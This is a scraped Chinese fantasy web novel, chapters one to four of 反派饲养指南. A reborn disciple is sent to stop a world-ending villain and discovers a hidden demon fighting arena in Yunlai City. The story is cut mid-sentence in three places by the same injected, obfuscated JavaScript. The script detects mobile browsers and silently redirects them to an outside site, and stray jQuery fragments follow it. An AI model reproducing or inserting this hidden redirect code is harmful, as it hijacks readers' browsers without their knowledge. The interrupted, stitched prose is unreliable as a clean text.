《反派饲养指南》 1. 重活 苏挽月记得自己见到的最后一幅画面,滔天的红色焰火从天上坠落,染上巍峨的宫阙楼台。 眨眼间,便生出一片火海。往日里高高在上的仙门弟子们如丧家之犬,纷纷祭出法器想逃离这人间炼狱。 然而出了这神宫又能如何,宫外等着的是数以万计的妖魔。 它们向着这些弟子们露出狰狞、可怖的笑容,像见了骨头的恶犬,尽情享受这场饕餮盛宴。 火焰、血光、泪水……妖物们扭曲的身影和弟子们绝望的面容还定格在她脑海中。 然而下一瞬她却突然被拉到了一个陌生的地方。 入眼是白玉石砌成的地面,仙音袅袅的房间以及华贵的装饰,屋子里的桌案上甚至还摆着些灵茶灵果,看起来一派平静和乐,散发着岁月静好的气息,仿佛她之前见到的不过是一场梦。 苏挽月端端正正地跪在下方,一只手掌正抚在她的头顶。 “月儿,此番云来城之行,你便随他们一起去罢。” 那人开口,嗓音格外清冽动听。 苏挽月整个人都有些发懵,但她身体的反应却快过了意识,她听到自己回道:“是,父亲。” 父亲?苏挽月一愣,抬起头看了一眼说话的男子,他穿一袭白衣,面如冠玉,身形挺拔,如墨的乌发只用一根玉簪轻轻挽起,看起来很年轻,二十八九岁的模样,怎么看也不像能生出她这样大的女儿。 然而脑中涌现的记忆却明明白白告诉她,这个看起来过分年轻的男人实实在在已经活了几百年,已达元婴修为,是神机宫的长老之一,名唤苏遇,称作混陵道君。 正思量间,混陵道君放在她头顶的手微微动了动,苏挽月便感觉到有一股暖流顺着天灵盖进入了她的身体,让她整个人都为之一颤。 “我在你身上下了一道法印,若遇危险可保你性命。此番你且安心去,不必有顾虑。” 苏挽月口中称是,态度恭敬中带着一丝生疏,仿佛是察觉到她的情绪,混陵道君又是一笑,表情甚是温和,“吾儿不必害怕,你在宫中修行十余载,合该去历练一番。此次前去,还有一众同门相伴,定能护你周全。” 得了他的这番宽慰,苏挽月却没有觉得好受多少,心中仍然惴惴不安。只是没再表现出来,而是稳住心神,回道:“女儿谢过父亲,此次前去,我会好好照顾自己,父亲莫要担心。” 听闻此言,混陵道君满意地点点头,又送了她诸多法宝,便不再和她多说,摆摆手让她下去了。 出了混陵道君居住的寝宫,苏挽月循着记忆挑了一条道走了大约一刻钟,便见到一处宫殿,殿外生长着大片大片的牡丹花,颜色鲜红如血。 她推开门走了进去,随意地往桌边一坐,捞起桌上的茶壶倒了满满一杯灵茶,就这么小口小口地喝了起来。 入眼的手白皙细腻,手指修长而纤细,如同上好的美玉,不像她原来的手,粗糙、丑陋,上面布满了细细小小的疤痕。 苏挽月知道,她已经不是她了,虽然她并不清楚为何会这样,但她脑中突然涌现出来的记忆却明明白白地告诉她,虽然仍是同一个名字,但这个苏挽月跟原本的她可谓是天壤之别。 正想得入神,一阵轻笑声乍然响起。 骇得苏挽月手中的杯子一个没拿稳,啪嗒摔在了地上。她警惕地看了一眼四周,厉声问:“谁?” “别看了,我在你脑子里。”那个声音在继续,说出的内容却令苏挽月感到心间一寒。 苏挽月抿了抿唇,试探着回:“你是个什么东西?” “我么……”那是一道女音,听起来妖妖娆娆,每个字都带着魅惑之意,“是我送你来这里的,你可以叫我系统。” “系统?”她叫了一声,语气有些奇怪,“这是你的名字?” “噗。”自称系统的女音在她脑中爆发出一阵剧烈的笑声,像是听说了什么很可笑的事。好不容易止住了笑,系统清了清嗓子,又道:“哎呀,也怪不得你,你可以把我当做……器灵,对,就是器灵!” 器灵,这个苏挽月知道,她前世虽说是个修为低下的杂役,但好歹托了祖宗的福,在四大仙门之一的浮光殿中待了几十年,有些事情还是了解一二的。 但倘若有器灵,岂不意味着她身上有仙器,苏挽月一惊,还想再问,系统却不耐烦地岔开了话题:“我救你一命,可不是白救的,死前的最后一幕你还记得吧?那可是灭世之兆,这灭世的祸端,皆因一个人而起,你若能搞定他,避开灭世之局,我们便两清。” 系统的话勾起了苏州月不好的回忆,她想到那场滔天的大火,癫狂的妖魔,以及那只伸进她的胸膛,掏出了心脏的利爪。 苏挽月皱起了眉,“如果我避不开呢?” 系统带着魅意的声音淡了下来,它一字一顿道:“避不开?你的下场只会比前世惨百倍。” 此话一出,苏挽月的脸色不由得难看了起来,这是警告,也是威胁。这个系统,恐怕并不是什么善茬。 她在心中默默警惕,又问:“那我要怎么做?” 系统的声音又柔了下来,像是很满意她的识趣。 “你只需要认识他,接近他,一路盯着他,必要的时候稍微出手,让他别再做这种灭世之事就行了。” 这系统故意三两句话带过,将任务描述得十分容易,然而苏挽月却没有这么天真,她直觉系统要她做的事必然不简单。 还待再问,却听系统打了一个大大的哈欠,语带困倦:“为了让你转世成混陵道君的独女,耗费了我不少能量,我恐怕会休眠很长一段时间。到时候遇上了那人,我会给你提示。” 它说完,也不等苏挽月回应,便彻底陷入了沉睡,苏挽月连续叫了好几声系统,都没有得到回应。 她叹了口气,又给自己倒了杯灵茶,甘甜清冽的灵茶入口,却丝毫没有消去她心中的烦闷,反而更令她感到不安。 一连在神机宫待了好几日,苏挽月总算把原身的记忆梳理完毕,一句话总结,这是一个集万千宠爱于一身的小姑娘。 爹娘都是修真界大佬,两人结为道侣数百载,唯得了这么一个血脉,自然是千娇万宠。 可惜在她六岁那年,亲娘被往日的仇家暗算死于非命,亲爹混陵道君报完仇以后,对待她更是疼爱非常,要星星不给月亮,在这神机宫一向都是横着走。 但这般生活在蜜罐子里的姑娘又怎能忍受修行的苦楚,纵然天赋不错,修炼十七载,也堪堪只达炼气七层而已,还大半是天材地宝堆砌出来的。 神机宫的弟子只要达到炼气中期,便可下山历练,这不仅为了寻找机缘,还兼具斩妖除魔的重任。 毕竟如今的修真界早已不比往昔,妖怪魔物大肆横行,人族一退再退,由神机宫为首的四大仙门并一众修仙世家都在兢兢业业地保护着普通百姓,这才换来暂时的平和。 此次神机宫庇佑下的云来城又有妖物现身,宫主派了一波弟子前去处理,混陵道君便生了心思,想让自己的女儿跟着师兄师姐一起去长长见识。 苏挽月对此并不排斥,相反, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392726|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还很乐见其成。 前世,她从出生起便待在仙门,修为低下,只能做些杂活。 直至灾祸降临那日,被妖物取了性命,她都不曾离开过浮光殿。 如今有机会能去外面看一看,苏挽月其实还是挺高兴的。 “笃笃笃。”正思索间,一阵敲门声突然响起。 苏挽月走过去开了门,门口站着一对男女,两人都穿着和她身上一样的青衣,袖口绘着一株兰花,这是神机宫的弟子服饰。 两人中的少女朝着她露出一个笑,声音像银铃一般清脆动听:“苏师妹,今日便要下山了,我们特意过来等着师妹一起去。” 苏挽月抬眸打量了两人一眼,少女生得一双水灵灵的眸子,乌发红唇,脸颊上还带着一些婴儿肥,十分可爱的模样。 她身旁的少年,身高比她高上不少,脸却与她有九成相似,这样的面容本该是有些女气的,但放在他身上,却反而显露出一种少年人的俊秀。 从原主的记忆中,苏挽月得知,这位少女名唤沈灵,旁边的少年是她兄长,唤做沈毓。 两人乃是一对龙凤双生子,皆是混陵道君座下的弟子。 苏挽月回了一个笑,开口唤道:“灵师姐,毓师兄。” 沈灵脆生生应了,颇为热情,倒是一旁的沈毓面无表情地嗯了一声,态度不冷不热。 苏挽月也没有在意,她知道,这位沈毓师兄并非针对她,而是本身便是这个性子。 这对兄妹,虽是双生,性格却截然不同,一个热烈似火,一个冷酷如冰。 “听说此次前去云来城的弟子众多,还有筑基巅峰的师兄带队,不知到底是什么妖物,能闹出这样大的阵仗。”沈灵挽着她的胳膊与她说着悄悄话。 三人边向外面走边聊着,苏挽月回道:“应该不是太过厉害的妖物吧。” 对于这个她还是比较放心的,就凭混陵道君宠爱原身的派头,也不会让她去太危险的地方。 沈灵侧头看了她一眼,点点头,认可了她的说法。 “也是,若是有厉害的妖物,早便由长辈师叔们出手解决了,咱们这些修为低下的弟子,去了就是给妖怪添菜。” “知道就多加修炼,别动不动偷懒,此次出门若还不能突破筑基,早晚也是送菜的下场。”旁边的沈毓冷不丁地来了一句。 沈灵被他噎了一下,回道:“知道了,知道了,念得我耳朵都起茧子了。你这个性子,也不知以后哪位小姑娘眼瞎了看得上。” …… 两人吵吵闹闹,一点也不像是兄妹,倒像是冤家,苏挽月在旁边看着,抿着唇偷偷笑了起来。 才行不到半个时辰,远远便见着一群青衣人等在原地,众人皆穿着统一服饰,其中有男有女,修为大多都是炼气期,偶有一两位筑基期的师兄师姐,也跟紧紧跟随在修为低下的同门身边。 看样子大部分都是第一次出山门的弟子,唯有带队的是一个筑基巅峰的师兄,他脸型方正,皮肤微黑,手中拿着把长刀,体格看起来十分健壮。 苏挽月认出,他是清辉道君门下的首徒,名为左秦鹤。 左秦鹤见到他们来了,又点了点人数,随后右手一翻,掌心赫然浮现出一座小小的青舟,他将青州随意地朝外一扔,那物便越生越大,渐渐变为可容纳众人乘坐的大型飞行法器。 左秦鹤将大刀往肩上一扛,道了句:“师弟师妹们,走了!”便率先朝着青舟走去。 余下的弟子们像一群小鸡仔似的,跟在他的身后上了飞舟。 2. 云来城 这飞舟速度虽快,人坐在上头却稳得很,苏挽月小心地将手放在青舟的边缘,入手冰冰凉凉,却又格外坚硬。 前世她没有坐过这样的高阶飞行法器,只远远瞧见过门中精英弟子坐着法器远去的背影,此刻就不由自主地带出一丝新奇。 倒是意外地让符合了弟子们第一次出门历练时应该有的反应。 周围的弟子们也都很兴奋,三三两两围在一起窃窃私语: “这飞舟可真稳当,比仙鹤坐起来舒服多了。” “这可是高阶飞行法器,是仙鹤能比的吗?你能不能有点见识。” “也不知此番前去降的是什么妖啊?” …… 众人正说得兴起,却见先前的左秦鹤站在了最中间,他拍了拍手,朝着众人道:“来来来,都过来,有些事我得跟你们说一下。” 众位弟子大多都是新人,以这位修为最高的师兄马首是瞻,听见他的话,都放下好奇心围了上去,苏挽月也被沈灵扯着站在人群中。 “师弟师妹们都知晓,此次我们要去历练的地方是东南的一个小城,叫做云来城,近来云来城中不太安稳,有几只妖物现身,根据得到的消息来看,这次现身的妖物十有八九是翅金蝶一族。” 左秦鹤声如洪钟,一番话说得利落,毫不拖泥带水,却是说的此次的任务内容。 原来,云来城这些年一直都很安稳,没出过什么事,神机宫对其管理便有所松懈。 谁知前不久,一支几十人的商队路过城中,竟被一群翅金蝶妖缠住了,那群妖中最厉害的一位妖力堪比筑基期。区区几十位普通人怎么可能敌得过?直接就被尽数虐杀,毫无还手之力。 走商途中,往往会面临诸多凶险,需知富贵险中求,死几个人那是再正常不过了,即便是整支队伍都回不去,也不稀罕。因此这种事情一般也不会传到神机宫中来。 谁料那支商队中有一人乃是左秦鹤在凡间的本家留下的血脉,与他自有一番渊源。 若是牵扯到凡人的争端,自是不好插手,但这事涉及到妖魔。 不管论情还是论理,左秦鹤都得管上一管,于是便主动请缨接下了这任务。 “如今只知这些妖物躲在云来城中,数量应该不会太多。到时那只实力最强的妖便由我来对付,你们只需找出其他小妖除去便可。” 左秦鹤黝黑的脸上带着一丝严肃,“到得城中以后,我恐不能时刻护在大家身边,所以还得跟你们嘱咐一二。记住了,妖物都是没有人性的,它们生来是恶,虽能化人,却以人为食,还擅迷惑人心,倘若遇见,只管杀了便是,切莫动什么恻隐之心。” 说这话的时候,左秦鹤拧着眉,眼神如刀一般扫向在场的每一个人,好似想要通过这种方式让他们记住他的话。 苏挽月迎着他的目光,却不由在心中嘀咕,妖生来是恶吗?可即便是自诩性本善的人族,也不会只有好人没有坏人,妖又怎么能这般简简单单便判定为恶呢? 旁边的沈灵这会也笑嘻嘻地问了一句:“苏师妹,你说,世间难道就没有好妖吗?若是遇到好妖,我们也要杀吗?” 这个问题的回答,苏挽月自己也不知道,于是只好沉默地摇了摇头。 “人有善恶之分,妖自然也有,可是你怎么能确定自己能遇到好妖?”沈毓面色淡淡地睨了沈灵一眼,“倘若不能确信,便不要去赌。” “哈。”沈灵嗤笑一声,面上满不在乎,“若是这点胆量都没有,我们何必修仙?趁早龟缩在神机宫一辈子别出来算了。是好是坏我会用眼睛来分辨,遇到恶妖我便杀,遇到好妖我也不吝与它相交,这便是我的道。” 少女玉白的脸上满是坚毅,像是十分不齿兄长的小心翼翼。 “嗯。”沈毓漫不经心地抚了一下自己的长剑,也不急着与她争辩,而是道:“看来方才左师兄的话,你还是没有听进心里去。” 他抬眸,目光直直落在沈灵脸上,语带深意,“妖物擅长伪装,它们以人为食,生来便是恶,若对它们怀有一丝恻隐之心,下场定然不会好。” 他说完,也没等沈灵回应,便率先转身向着舱内走去了,被教训了一顿的沈灵朝着他的背影吐了吐舌头,有些不满地拉着苏挽月告状,“你看看他,老是对我摆长辈的架子,明明就比我早出生一小会儿嘛。” 她的神情带着委屈,眼眸中却是一派天真,一副不谙世事的模样。 苏挽月不由得轻轻笑出了声。 * 云来城离神机宫并不算远,飞舟只行了不过半个时辰,便到了地方。 这次一同出来的弟子一共十五位,除了左秦鹤之外,还有三位筑基初期弟子。 收起飞舟以后,众人跟着左秦鹤直奔城中而去。 才进城中,便见一位老者等在门口,见到一众穿着神机宫弟子服饰的人,老者脸上瞬间扬起了笑脸,他朝着众人拱了拱手,“众位仙长,我是这云来城的城主,姓宋,单名一个荇字。早便听说仙长们今日会到,故已在此等候多时,若是不嫌弃的话,还请仙长们在府中住下。” 左秦鹤见到他,微微一愣,随后脸上就扯出一个大大的笑容,伸出手拍了拍他的肩,态度颇为热络,“宋兄,别来无恙啊。” 宋荇细细打量了他一眼,也将他认了出来,带着笑意回道:“原来是左兄,多年不见,你还是原先那副模样。不像我,老了,老了……” 他的语气中带着沧桑,面上的笑容却分毫未减。 “咱们认识那会还是四十多年前了,这么多年过去,你要是还不老,那可不是老妖怪了。”左秦鹤听他这样说,越发豪迈地大笑起来,黝黑的脸庞都透出了一丝红色,“不过你怎么到这云来城做城主了啊?也没听你说起过,都没来替你贺喜。” 宋荇也哈哈一笑,态度亲热中带着恭敬,“左兄说笑了,不过一个小小城主罢了,哪用得着大张旗鼓?” 左秦鹤再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392727|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢旧友,眼角眉梢都带着喜意,听他这么一说,故作不满,“这是什么话?城主也挺好的,不用风餐露宿,想做什么就做什么,自在!” 说着,将手往宋荇肩上一搭,哈哈大笑着往前去了。 苏挽月抬眸悄悄看了眼宋荇那张满是褶皱的脸,再对比左秦鹤虽不算俊朗,却明显是年轻人的脸庞。 心下默默感叹,若不是知晓内情,谁能想到这两人竟然是同辈?这左师兄也不晓得收敛一下手劲,这一下子,宋城主脸都疼得扭曲了,人家可是位老年人啊! 左秦鹤跟宋荇寒暄了一阵,便应下了他的邀约,带着众人在城主府住下了。 城主府处在云来城最中心的位置,四周的街道很是繁华,到处都是走街串巷的吆喝,来往的商人游客更是络绎不绝。 进到府内,能见到白墙青瓦、假山流水,庭院中间还有一个大大的莲池,如今是夏日,池中的莲花开得极盛,点缀在碧绿的莲叶之间,看上去分外赏心悦目。 苏挽月默默跟在左秦鹤身后,时不时打量一下周围的景色,只觉得这城主府虽然比不上仙门的精致奢华,却多了一丝神机宫中所没有的烟火之气,教人莫名放松。 宋荇为众人安排好住处,是府中位置最好的一处院子,院外种了许多白兰花,花色洁白,散发着浓郁的幽香,几乎覆盖了整座院子。 苏挽月皱了皱眉,觉得这花香过分刺鼻了。 沈灵住在她的隔壁,此刻见她对着一树白兰发神,也凑过来看了看,“你喜欢这花吗?” 她伸手捏了个诀,一道白色灵光覆上了枝头最茂盛的一朵,裹着它送到了她的眼前,面前的少女对着她笑靥如花,“呐,送你。” 苏挽月伸手接过,对着她道:“多谢。” 离得近了,花的香气越发浓郁,一个劲儿地往鼻子里钻,这花原本便是这么香的吗?苏挽月拧着眉,总觉得哪里有些不对劲儿。 正思索间,却骤然看到手上的白色花朵从根部开始变红,像被丝丝缕缕的红线缠绕,长出了细密的红色脉络,那红色从花中渗透出来,就要缠上她的手指。 苏挽月骇了一跳,极快地将花扔了出去。 “怎么了?”沈灵看着她的动作,有些不解。 苏挽月凝神,再次瞧向被她扔在地上的那朵玉兰,却发现它静静躺在那里,花瓣一如既往的洁白,没有任何变化。 “没事,就是觉得香味太浓了。”她勉强笑了下。 “是吗?”沈灵笑嘻嘻地将那支花捡起来,放在鼻尖轻轻嗅了一下,“我觉得不浓啊,都摘下来了,苏师妹既然不喜欢,那我便拿走了。宋城主想来很喜欢花花草草,这府中种了许多,改日我再陪师妹一起去赏赏别的花。” 她是说风就是雨的性子,当即就拿着那支花回屋让伺候的侍女找个花瓶装起来。 苏挽月站在那一从玉兰花树下,看着她的背影若有所思。 宋城主,很喜欢花吗? 3. 云来城 翌日一早,苏挽月用完了朝食,便被沈灵拉着在云来城四处闲逛,两人换下了弟子服饰,穿上了寻常人家的衣裙。 兴致勃勃地在街头游玩起来,好不容易出一次山门的少女,对外界的一切都带着股新鲜劲,什么都想看看。 苏挽月便也由着她,城主府的东边就是一个大集市,什么糕点铺子、胭脂铺子、酒楼钱庄应有尽有,还有不少从下边村子里来赶集的百姓,或是带着自己种的瓜果蔬菜,或是从山中猎来的野味,随意找个位置便摆起摊来,一副热闹至极的场景。 沈灵东瞅瞅、西看看,只觉眼花缭乱,拉着苏挽月买了些胭脂水粉,又进到点心铺子里要了好些糕点糖果,就像个寻常的富家小姐。 苏挽月问她:“怎么没见到毓师兄?”仔细想来,从昨日入城主府以后便不见他人了。 沈灵在一个小摊上挑选着物品,这是家卖饰品的摊子,卖些简单的木梳、银簪。并不如何华贵,却胜在样式别致。 听到苏挽月的问话,她浑不在意地道:“我兄长那人,你还不知道吗?除了修炼哪还在意别的事?一早便跟着左师兄出去捉妖了,也不知何时能回来。” 说完,她拿起一只耳坠问苏挽月:“这只耳坠怎么样?” 那是一只樱桃样式的耳坠,也不知是何物做成的,透着股浅粉色,看起来晶莹剔透,很是漂亮。 苏挽月由衷地夸赞:“很适合你。” 摆摊的大娘见她们好似对这耳坠感兴趣,连忙介绍道:“这耳坠用的原料是我们云来城独有的,别的地方可都找不着。上面的花样是我家那口子亲手做的,可费了好大功夫呢。” 沈灵听她这样说,又着实喜欢得紧,没怎么犹豫就买了下来,又挑了几个手镯、耳坠、银簪,可把大娘高兴坏了。 苏挽月看着那耳坠中透出的粉色,状似不经意地问:“敢问大娘,这做耳坠的原料是从哪里得来的?” 大娘带着一张笑脸,很爽快地告诉了她们,“就城东的那座五云山嘛,山脚下都是这种石头,大部分是粉色,还有一些血红色。不过这石头除了好看就没什么用处了。刚开始发现的时候,还闹出了很大动静,都以为是什么稀世珍宝,争着去抢。后来发现,这些不过是长得漂亮些的石头,渐渐地就没人在意了。只有我们这种小商小贩,拿来做些小玩意儿。” 看起来,这石头的来历并不是什么秘密,所以大娘说起这事也毫不避讳。 苏挽月了然地点点头,向大娘道了声谢,又被沈灵拉着走远了。 逛了整整一天,苏挽月腿都快没知觉了。直到夜幕降临,沈灵才大发慈悲地放她回去,回房之前还拍着她的肩道:“明日我们去城西,听闻那边还有些吃食,可美味了。” 苏挽月头疼不已,白着一张脸哀求,“灵师姐,你可放过我吧,我实在不行了,要不你找其他的师妹们陪你?” 沈灵看着她这模样,噗嗤一声笑了出来,伸出玉手捏了捏她的脸颊,“行了行了,你怎么这么可爱。” 说着,又肃起了面容,端出一副成熟的模样,“玩归玩,我也不会忘了咱们这回出来的目的。放心吧,明日咱们就捉妖去。” 苏挽月惊了,“你知道哪里有妖?” 沈灵哼了一声,满脸傲娇,“你当我今天真是为了逛街啊?”她从袖中掏出一块白色玉牌,如今那牌上隐隐透着股黑气,看着就觉得不祥,“妖物最擅伪装,需要借助法器才能感知妖气。那妖的情况我已摸清了,是只小妖,我们多叫上几个师弟师妹,定能对付。” 苏挽月呆若木鸡,又摸了摸袖中放着的玉牌,这牌子是神机宫发的,每个弟子都有一个,除了能表明身份,还可以判定周围的妖气,可惜她今天光顾着陪沈灵逛街,压根没想起这回事。 随后又暗叹自己太傻,沈灵再怎么说也是快步入筑基期的修士,出山门历练也不止一次,就算外表再如何纯真,又怎么会是个真正的傻白甜。 她扶额,“灵师姐,你特意逗着我玩儿呢。” 沈灵捂着嘴笑,口中道:“好师妹,今日这事是我的不对,喏,这些就送给你当做赔礼了,明日一早便要出门除妖,记住了啊。” 沈灵说着,将今日买来的东西塞了一大半给她,其中就有那只粉色樱桃耳坠,还有一小包糖果。 随后她朝着苏挽月眨了眨眼,“哎呀,这一整日下来,实在有些累了,今晚便早些歇着吧。”说完,摆摆手便脚步轻快地回了房。 苏挽月笑了笑,随手将东西放进了自己的储物袋,也回了自己屋子。 夜里,苏挽月在床榻上睡得很熟,有夜风裹着阵阵花香吹进她的房间,撩起床前的白色纱帐,将她身上的薄被都吹到了一边。 迷迷糊糊中,她感觉到有些冷,还有一种仿若要令人窒息的香气充斥在鼻尖。 梦里的场景渐渐远去,苏挽月一个激灵醒了过来。 寂静的房间里,只有一束清冷的月光透过窗户照进来,为屋中的一切覆上一层薄纱。 苏挽月揉着眼睛爬起来,却见窗户大张着,外面的那片玉兰花树全部变为了红色,看起来分外诡异。 她瞬间清醒了大半,连忙穿上鞋子出了门。 出到门外,花香更加浓郁,一朵朵红色玉兰飘在空中,汇聚成了一团,朝着一个方向飘了过去,看样子分明是要引她过去。 苏挽月站在原地犹豫了好一会儿,还是小心跟了上去。 今夜的城主府安静得过分,苏挽月一路走来,一个人也没碰上。 她追寻着那片红花,也不知道走了多久,一间废弃的屋子出现在她的眼前,这屋子很是破败,周围杂草丛生,在这样的月夜,显得更加诡异。 城主府中还有这样的院落吗?她站在屋外徘徊不前。那些花也停在她身前飘动着,又慢悠悠地转向前方,好像在催促着她进去。 来都来了…… 苏挽月一咬牙,上前推开了那扇紧闭的房门。进到门的一瞬间,那团火红的花就倏地一下钻入了她的衣襟。 苏挽月愣了一下,赶紧伸手将身上摸了个遍,却什么也没发现。无奈之下,她只好将此事暂且搁置下来,将注意力转移到了这间屋子。 谁料,她只在屋里走了几步,还什么都未看清,脚下便是一空,整个人失去重心,一下子跌了进去。 下落的感觉传来,簌簌风声从她耳边快速掠过,苏挽月一瞬间懵了,反应过来以后慌忙捏了个诀,终于稳住身体落在了地上。 还没等她看清周遭的环境,便迎面撞上了一个男人。 “哎,哎,你是来看比试的?怎么才到,都快开始了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392728|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那人上下打量了她一眼,不由分说地扯着她向前走去。 他转过身的时候,苏挽月看到了一条毛茸茸的灰色尾巴。那尾巴长长的,坠在男人的身后,时不时左右摇动。 是妖,她心中一紧,按捺下想逃离的冲动,一言不发地跟在男人后面,还分神观察了一下四周。 这里好像是个洞穴,洞内很深,周遭有一些乱石和杂草,看起来毫不起眼。只每隔一段距离放了些烛火,好教人看清前方的路。 男人领着苏挽月向洞穴深处走去,最后停在一处湿哒哒的石壁前。 苏挽月左右看了看,眼见着前方已然没了路,却见那男人右手动了动,一道橙色的淡光落在石壁上。 他挥了下手示意苏挽月跟上,两人踏步进去,眼前顿时豁然开朗。阴冷的山洞消失了,一个更大的地方出现在他们面前。 周遭摆放着数盏琉璃灯,将整个空间照得宛如白昼,里面人头攒动,声音嘈杂。数百名男男女女或站或坐,围着个巨大的比武台讨论不止。 穿着清凉的侍女穿插在人群中,为众人送上些瓜果茶点。 苏挽月凝神一瞧,这些人大多都有些异状,要么是露着对妖耳,要么拖着条尾巴,还有一些看起来跟普通人没什么区别,许是道行更深一点。 这里恐怕是个妖巢。 苏挽月不动声色地摸着自己的右手腕上的红线,心中警惕不已。 “这位姑娘,你且找个位置坐着吧,我还得招呼其他人,这便走了。”带她进来的男人咧开嘴角朝她露出一个笑。 苏挽月有心想问些什么,却又怕暴露自己,只好点点头,“好,多谢你了。” 男人满不在乎地摆摆手,又拖着自己的尾巴朝来时的方向走了。 苏挽月默默找了个不起眼的位置坐下,对眼前发生的一切感到十分莫名其妙。 她不知城主府中怎么会藏着这样的地方,也不知引她过来的那丛花到底是什么,但她却清楚地知道,此时此刻,她若是暴露了一点自己的身份,恐怕只有一个死的下场。 正思索间,比试台上出现了一位女子,她穿着一身明艳的水红。衣襟半开半闭,透出雪白肌肤,长相更是娇艳如花,端的是明眸皓齿,艳丽逼人。 这女子一出现,原本嘈杂的人群瞬间安静了下来。 女子轻扬红唇,勾出一抹笑,声音轻柔却响亮,“诸位期待已久的比试就要开始了,第一场还是大家喜欢的柳奴,对战袁奴、云奴。这次他能获胜吗?请诸位拭目以待。” 女子话音一落,人群中乍然爆发出一阵欢呼。人人都吼得面红耳赤,激动不已。 “柳奴!” “云奴!” 苏挽月惊了一跳,她左右看看,为了不显得太特殊,自己也跟着喊了几嗓子,喊着面色都露出丝潮红。 旁边的一位原本喊得专心的高挑大姐听到她的声音,连忙凑了上来。 “妹子,你也喜欢柳奴啊?” 苏挽月瞧了她一眼,尬笑两声回道:“是,是啊。” 那大姐立刻哈哈大笑,一副你真有眼光的表情,拍了拍她的肩,“喜欢他就对了,你哪回见他输过?我跟你说,他啊,就是这个。” 她说着,在她面前竖起了大拇指,随后又打量了她几眼,“你是什么妖啊?” 4. 云来城 苏挽月心下一紧,正要胡编乱造,一朵红色玉兰就从她耳后钻了出来。 大姐恍然大悟,口中道:“原来是花妖一族。” 苏挽月笑了笑,默认了下来,随即问她:“你呢?” 大姐咧着嘴没吭声,只伸出一条红艳艳的舌头。那舌头细长,从中间分出了岔,配着她一张人脸,看起来格外怪异。 原来是蛇妖,苏挽月点点头,没再多问。倒是大姐又道:“妹子,要不要下注?” 苏挽月:“下什么注?” 大姐一脸理所当然,“当然是为柳奴下注了,十块仙石起步,赔率还挺大,怎么样?试不试?” 苏挽月连忙摆手,“不了,不了。” 大姐遗憾地叹了口气,却也没再纠缠,见状就要去找其他人,却被苏挽月喊住了,她故意露出担忧的神色,道:“哎,大姐,你说这场比试,柳奴能赢吗?” 大姐立刻道:“那当然,虽然之前没有过一对二的情形,但那是柳奴嘛。” 说到这里,她的脸上露出了一种复杂的神色,好像带着一丝厌恶,又有一些惧怕。“他是半妖之体,虽然血脉肮脏,但抗打耐造,受了再重的伤,歇一晚就全好了,真是个怪胎。” 半妖之体?苏挽月看着大姐此时的神情,怎么也不像是喜欢那位柳奴的样子,但明明一炷香之前,她还声嘶力竭地在为那人打气。 “反正你听我的准没错。”大姐看了她一眼,正要再说什么。 却见比试场上突然走出来一个人,那人逆着光,苏挽月看不清他的长相,只能看到一个模模糊糊的人影,但不知为何一见到这人,苏挽月就感觉到一股莫名的熟悉,仿佛在哪里见到过一样。 她蹙了蹙眉,凝神细看,只见这人穿着一身破破烂烂的白衣,那衣衫太过破旧,甚至遮不住他有些苍白的手臂和小腿。 在这白衣之下,是略显单薄的身躯以及一双赤着的脚。 他没有穿鞋,脚背上的皮肤很白,仿若上好的凝脂玉石。苏挽月注意到,他的脚腕上,似乎刻着一个什么东西,她努力睁大了眼睛,看到了一只展翅欲飞的金色蝴蝶。 大姐一见他出来,就再没空搭理她了,只跟着人群一起大声呼喊:“柳奴!” 四周都是叫喊他名字的声音,柳奴却岿然不动。目光凝在前方,那里有两个高壮的人影渐渐显露出来。 两人一左一右站着,皆是身强体壮,硬邦邦的肌肉仿佛下一瞬就要冲破衣衫的束缚,看起来相当孔武有力。 尤其是跟一旁站着的柳奴那单薄的身躯对比起来,真是格外惨烈。 苏挽月这一刻非常怀疑大姐的眼光,这样的柳奴,真的能赢吗? 她正这么想着,一阵号角突然响了起来,场上的人影瞬间动了。 云奴和袁奴率先拿出武器朝着柳奴攻去,动作和招式都很凌厉,招招直逼要害。 柳奴在两人的围殴之下,狼狈地躲避着。 云奴用的武器是一只冒着寒光的鹰爪,那只鹰爪几次擦过柳奴的脖颈,最后在他的侧脸留下一道浅浅的红痕。 而袁奴则趁机用一柄斧头朝着他的脑袋削去。柳奴不得不闪身躲过他的攻击,也是在他躲避的时候,苏挽月终于看清了他的长相,那是一张极为年轻的脸,看模样约莫十六七岁。 五官很是清俊,鼻梁挺拔、剑眉星目,侧脸那道伤口冒出了点点血珠,染在他的脸上,却没有显出丝毫狼狈,倒为他增添了一丝绮丽,分明是一个男子,却能生得这般绝色。 